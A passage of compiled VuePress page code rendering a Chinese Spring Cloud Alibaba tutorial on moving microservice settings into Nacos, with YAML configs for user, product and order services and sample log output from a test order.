atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("user\n"),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("rocketmq")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name-server")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("9876")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br")])]),a("p",[s._v("具体如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-029","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-029.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("点击发布。")]),s._v(" "),a("p",[s._v("(3)在Nacos中修改server-product-dev.yaml的配置,修改后的配置如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("port")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8070")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("servlet")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("context-path")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" /product\n"),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("product\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br")])]),a("p",[s._v("具体如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-030","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-030.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("点击发布。")]),s._v(" "),a("p",[s._v("(4)在Nacos中修改server-order-dev.yaml的配置,修改后的配置如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("port")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8080")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("tomcat")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("max-threads")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("20")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("servlet")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("context-path")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" /order\n"),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("order\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("sentinel")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("transport")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("port")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("9999")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("dashboard")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8888")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("web-context-unify")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("false")]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("feign")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("sentinel")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("enabled")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("rocketmq")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name-server")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("9876")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("producer")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" order"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("group\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br"),a("span",{staticClass:"line-number"},[s._v("22")]),a("br"),a("span",{staticClass:"line-number"},[s._v("23")]),a("br"),a("span",{staticClass:"line-number"},[s._v("24")]),a("br"),a("span",{staticClass:"line-number"},[s._v("25")]),a("br")])]),a("p",[s._v("具体如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-031","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-031.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("点击发布。")]),s._v(" "),a("p",[s._v("(5)修改用户微服务shop-user中的bootstrap.yml文件,修改后的配置如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("user\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("file-extension")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" user_group\n shared"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("configs"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("data_id")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("all.yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" all_group\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("refresh")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("profiles")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("active")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" dev\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br")])]),a("p",[s._v("(6)修改商品微服务shop-product中的bootstrap.yml文件,修改后的配置如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("product\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("file-extension")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" product_group\n shared"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("configs"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("data_id")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("all.yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" all_group\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("refresh")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("profiles")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("active")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" dev\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br")])]),a("p",[s._v("(7)修改订单微服务shop-order中的bootstrap.yml文件,修改后的配置如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("order\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("file-extension")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" order_group\n shared"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("configs"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("data_id")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("all.yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" all_group\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("refresh")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("profiles")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("active")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" dev\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br")])]),a("p",[s._v("(8)分别启动用户微服务,商品微服务,订单微服务和服务网关,在浏览器中输入"),a("code",[s._v("localhost:10001/server-order/order/submit_order?userId=1001&productId=1001&count=1")]),s._v(",如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-032","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-032.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("可以看到,浏览器中正确输出了结果信息。")]),s._v(" "),a("p",[s._v("查看各个微服务中也会打印出相关的日志,如下所示。")]),s._v(" "),a("ul",[a("li",[s._v("用户微服务会打印出如下信息")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("获取到的用户信息为:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"address"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"北京"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"password"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"c26be8aaf53b15054896983b43eb6a65"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"phone"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"13212345678"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"username"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n用户微服务收到了订单信息:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"address"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"北京"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),s._v(":15235872727371776,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"phone"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"13212345678"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"totalPrice"')]),s._v(":2399.00,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"userId"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"username"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("ul",[a("li",[s._v("商品微服务会打印出如下信息")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("获取到的商品信息为:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proName"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"华为"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proPrice"')]),s._v(":2399.00,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proStock"')]),s._v(":9999"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n更新商品库存传递的参数为: 商品id:1001, 购买数量:1 \n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("ul",[a("li",[s._v("订单微服务会打印出如下信息")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("提交订单时传递的参数:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"count"')]),s._v(":1,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"empty"')]),s._v(":false,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"productId"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"userId"')]),s._v(":1001"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n库存扣减成功\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("ul",[a("li",[s._v("网关服务会打印出如下信息")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("执行前置过滤器逻辑\n执行后置过滤器逻辑\n访问接口主机: localhost\n访问接口端口: "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("10001")]),s._v("\n访问接口URL: 